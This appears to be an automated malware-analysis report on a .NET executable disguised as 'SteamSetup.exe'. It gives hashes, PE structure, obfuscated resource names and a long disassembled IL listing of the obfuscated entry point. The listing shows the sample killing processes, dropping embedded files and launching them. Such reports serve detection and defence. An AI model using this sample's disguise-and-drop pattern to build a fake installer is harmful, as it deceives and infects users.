Malicious
Malicious

8ae09bb656cdcf6961ab1d2b19b0daf8

PE Executable
|
MD5: 8ae09bb656cdcf6961ab1d2b19b0daf8
|
Size: 690.18 KB
|
application/x-dosexec

Print
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Very high

Hash
 Hash Value
MD5
8ae09bb656cdcf6961ab1d2b19b0daf8
Sha1
ae2ecda0dd12d1315581c96c660102fc4d4181bb
Sha256
61da632915570222c6133ea3c4444f44f2cbde4b858962aa16eff0ddda0b817e
Sha384
341887d77a748d3a45e92dacde83613cc461e9da1e3c90882e392e801e9927c174da6e280d736f5e3d1f2fe5c78bbe66
Sha512
84386d66d69e16643bb08166465c23a8f1a5606f63c7983a5b965de7e785f41b95559f39eac11a28bc3be6ac5f6e5c05dca27be397043bbae52dc122ef90cddd
SSDeep
12288:QaL4V03WmJoWsABkXy96X8ayHyQ3opnq8KSbulWaT4eVzxdQVFBdFSBN:M03TJoZABki9q8ayP4pq82WypVzIXB23
TLSH
A3E4E12AB7968A01D3B42971D2A71A3407E1F5473B72F75E3F99099C2E423F89CC46C9

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
8ae09bb656cdcf6961ab1d2b19b0daf8
Malicious
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
XtAdkOtlUxXWGQHbne.blnVNC7gSnYnBI3h98
7DI7Ilow4y8aytxUx0.4B69dbmYs9PcChXSO6
J9MTBedD9YLxhUSkQs.wLvJVPPV1NrjsyhhFg
2ZfWXIOhrnr97uavlr.1SdhpR4OVICRSNREyY
Aajchsv9Ey2ObbShZV.hRwsRkIDFUq9W4kvk5
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

SteamSetup.exe
Full Name

SteamSetup.exe
EntryPoint

System.Void YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::IJySskM9i()
Scope Name

SteamSetup.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

SteamSetup
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.8
Total Strings

43
Main Method

System.Void YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::IJySskM9i()
Main IL Instruction Count

315
Main IL

br.s IL_0007: ldc.i4 2 call <null> ldc.i4 2 stloc V_3 br IL_0015: ldloc V_3 ldloc V_3 switch dnlib.DotNet.Emit.Instruction[] br IL_008B: ldloc.s V_10 ldloc.s V_10 ldloc.s V_4 ldelem.ref <null> stloc.s V_5 ldc.i4 11 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_0777f059893c4ceabd739c88c5b8b699 brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 16 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ret <null> ldloc.s V_9 ldc.i4 1946855281 ldc.i4 1513954210 xor <null> ldc.i4 1459322656 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c386ae2718cf4975a90a91e8bf42052f xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_1 ldc.i4 19 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldc.i4.0 <null> stloc.s V_4 ldc.i4 6 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_f9dbd33ebfdf40e5a491700056c3705d brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 1 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) call System.Void System.Windows.Forms.Application::EnableVisualStyles() ldc.i4 23 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_9 brtrue IL_00B2: ldloc.s V_9 ldc.i4 9 stloc V_3 br IL_0015: ldloc V_3 ret <null> ldc.i4 -2109213154 ldc.i4 5 shl <null> ldc.i4 133568027 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_71379f9cb1c1492da9b225b18510fde5 xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.Diagnostics.Process[] System.Diagnostics.Process::GetProcessesByName(System.String) dup <null> ldlen <null> ldc.i4.0 <null> cgt.un <null> stloc.s V_2 stloc.s V_10 ldc.i4 17 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldc.i4.0 <null> call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean) ldc.i4 13 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ret <null> nop <null> ldloc.s V_5 callvirt System.Void System.Diagnostics.Process::Kill() ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_6d67a2b389604e3a97c79208d1c167ee brfalse IL_01A2: switch(IL_01E0,IL_01B4) pop <null> ldc.i4 0 br IL_01A2: switch(IL_01E0,IL_01B4) ldloc V_7 switch dnlib.DotNet.Emit.Instruction[] br IL_01E0: leave IL_03DF ldloc.s V_5 ldc.i4 3000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_51c5ca3b186e4111bca91af9f1f0992a brtrue IL_01A2: switch(IL_01E0,IL_01B4) pop <null> ldc.i4 0 br IL_01A2: switch(IL_01E0,IL_01B4) leave IL_03DF: ldloc.s V_4 pop <null> ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_3c14218fc7e3404a8fdb0df7a8339180 brtrue IL_0209: switch(IL_0217) pop <null> ldc.i4 0 br IL_0209: switch(IL_0217) ldloc V_8 switch dnlib.DotNet.Emit.Instruction[] br IL_0217: leave IL_03DF leave IL_03DF: ldloc.s V_4 ldc.i4 4 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be2f977968074dbfa14ae62581a1acb2 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 0 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) br IL_008B: ldloc.s V_10 ldc.i4 9 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_9b2650c465334383b0a067da28d86d94 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 11 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_9 ldc.i4 350066962 ldc.i4 2027984176 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_993afc461cbc4529acfa8aa07db9cded xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.String System.IO.Path::Combine(System.String,System.String) call System.Boolean System.IO.File::Exists(System.String) brtrue IL_0437: nop ldc.i4 11 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_48926a63029046f8acc3f1672b3f072b brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 14 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) call System.Boolean YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::sdUQL5CcW() brtrue IL_054B: ret ldc.i4 13 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_529039fa0e954e10a41f3e31cf846fc8 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 15 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) br IL_0446: ldloc.s V_4 ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_5bd11b821be049d4be088b8b862dda1c brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 0 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) nop <null> ldloc.s V_1 call System.Byte[] SteamSetup.Properties.Resources::get_SteamWindow() call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_8e136193dbc14abb9ed0dc14d9589b58 brfalse IL_0327: switch(IL_0384,IL_0339) pop <null> ldc.i4 0 br IL_0327: switch(IL_0384,IL_0339) ldloc V_0 switch dnlib.DotNet.Emit.Instruction[] br IL_0384: leave IL_0525 ldloc.s V_9 ldc.i4 -869143660 ldc.i4 -926526044 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be49b0c1e6b34be196242f6bec524b45 xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.String System.IO.Path::Combine(System.String,System.String) call System.Byte[] SteamSetup.Properties.Resources::get_WebView2Loader() call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_4e5c59b78de947d3906e9144d044a938 brtrue IL_0327: switch(IL_0384,IL_0339) pop <null> ldc.i4 0 br IL_0327: switch(IL_0384,IL_0339) leave IL_0525: ldloc.s V_2 pop <null> ldc.i4 0 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_f1f861dc75784e1bb0ee639063c5a5a7 brtrue IL_03AD: switch(IL_03BB) pop <null> ldc.i4 0 br IL_03AD: switch(IL_03BB) ldloc V_6 switch dnlib.DotNet.Emit.Instruction[] br IL_03BB: leave IL_0525 leave IL_0525: ldloc.s V_2 ldc.i4 18 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_be2f977968074dbfa14ae62581a1acb2 brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 25 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_4 ldc.i4.1 <null> add <null> stloc.s V_4 ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_0a3f5e50a5a146e991dd1788f8489652 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 22 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) call System.Void AWwrb6IZaoTW1skL6Uw.k6EhOsIadlBYru3vdpf::hSq6WhIBHb() ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_26de41fd01a843999f544a29465b552a brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 1 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) call System.Void BalKq0INJdSgLv0IlEL.W03EwQIMqxeuGuWiAoI::OyDSbEvb0q() ldc.i4 21 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) nop <null> ldc.i4 10 stloc V_3 br IL_0015: ldloc V_3 ldloc.s V_4 ldloc.s V_10 ldlen <null> conv.i4 <null> bge IL_025F: ldloc.s V_9 ldc.i4 20 stloc V_3 br IL_0015: ldloc V_3 ldloc.s V_1 ldloc.s V_9 ldc.i4 -1348167488 ldc.i4 489480752 sub <null> ldc.i4 -2045417835 xor <null> ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_3efcb5432cfa48f7bc1872d6b5e81623 xor <null> call System.String H2sBwna7dhhZ4kU9Rf.OAvFdVsdh4CG3sWFPx::r5ell5E4R(System.Int32) call System.String System.IO.Path::Combine(System.String,System.String) call System.Void System.IO.File::Move(System.String,System.String) ldc.i4 24 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_50c8bb6c6a58481a95d4164343ccd960 brfalse IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 0 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) br IL_054C: call System.String YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::wejM7ygwe() ldc.i4 1 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_63255e9e987740d5870a448b84469e67 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 3 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_1 call System.Boolean System.IO.File::Exists(System.String) brtrue IL_012D: ldc.i4 -2109213154 ldc.i4 3 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_41f0756ef3af498788efa9dfd36951c3 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 8 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldc.i4 2500 call System.Void System.Threading.Thread::Sleep(System.Int32) ldc.i4 3 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_a670ef240aad4060b3d7a36f9e6eb01c brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 7 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_2 brfalse IL_0176: ret ldc.i4 5 ldsfld <Module>{419c0c82-8388-4150-91dc-93812f134cdb} <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_c9c451e3b7c34694a1f90674757c2b9a ldfld System.Int32 <Module>{419c0c82-8388-4150-91dc-93812f134cdb}::m_05a7934fedcb46bf84f4e5bb3a9e1050 brtrue IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) pop <null> ldc.i4 4 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ret <null> call System.String YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::wejM7ygwe() stloc.s V_9 ldc.i4 12 br IL_0019: switch(IL_008B,IL_0108,IL_0404,IL_054B,IL_03DF,IL_04FC,IL_02D3,IL_055D,IL_012C,IL_00B1,IL_02F7,IL_025F,IL_0117,IL_0428,IL_045F,IL_04AD,IL_0177,IL_00E6,IL_0176,IL_04D1,IL_023B,IL_02AA,IL_0446,IL_0166,IL_0437,IL_0525) ldloc.s V_1 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldc.i4 18 stloc V_3 br IL_0015: ldloc V_3
Module Name

SteamSetup.exe
Full Name

SteamSetup.exe
EntryPoint

System.Void YF8q1t87IYYp1691pW.uWW8yo0pOp4jwVsXrS::IJySskM9i()
Scope Name

SteamSetup.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

SteamSetup
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.8
Total Strings

43
Main Method

